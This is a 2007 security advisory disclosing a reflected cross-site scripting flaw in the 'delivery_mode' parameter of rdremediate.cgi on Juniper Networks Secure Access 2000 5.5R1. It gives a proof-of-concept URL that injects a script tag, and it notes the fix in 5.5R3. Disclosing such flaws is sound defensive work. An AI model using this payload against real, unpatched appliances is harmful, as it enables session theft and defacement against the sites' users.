PR07-41: XSS on Juniper Networks Secure Access 2000

Vulnerability found: 6th December 2007

Vendor informed: 12th December 2007

Severity: Medium-high


Description:

Juniper Networks Secure Access 2000 is vulnerable to a vanilla XSS.

Vulnerable server-side script: '/dana-na/auth/rdremediate.cgi'

Unfiltered parameter: 'delivery_mode'


Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000)
5.5R1 (build 11711)


Proof of concept:

https://target-domain.foo/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryaga

in&signinId=url_default


Consequences:

An attacker may be able to cause execution of malicious scripting code
in the browser of a victim user who clicks on a link to a Juniper
Networks Secure Access site. Such code would run within the security
context of the target domain.

This type of attack can result in non-persistent defacement of the
target site, or the redirection of confidential information (i.e.: admin
session IDs) to unauthorised third parties.

Fix:

Juniper Networks was aware of this issue which they addressed on version
5.5R3. However, we decided to release this advisory due to lack of
information regarding this vulnerability in the public domain.
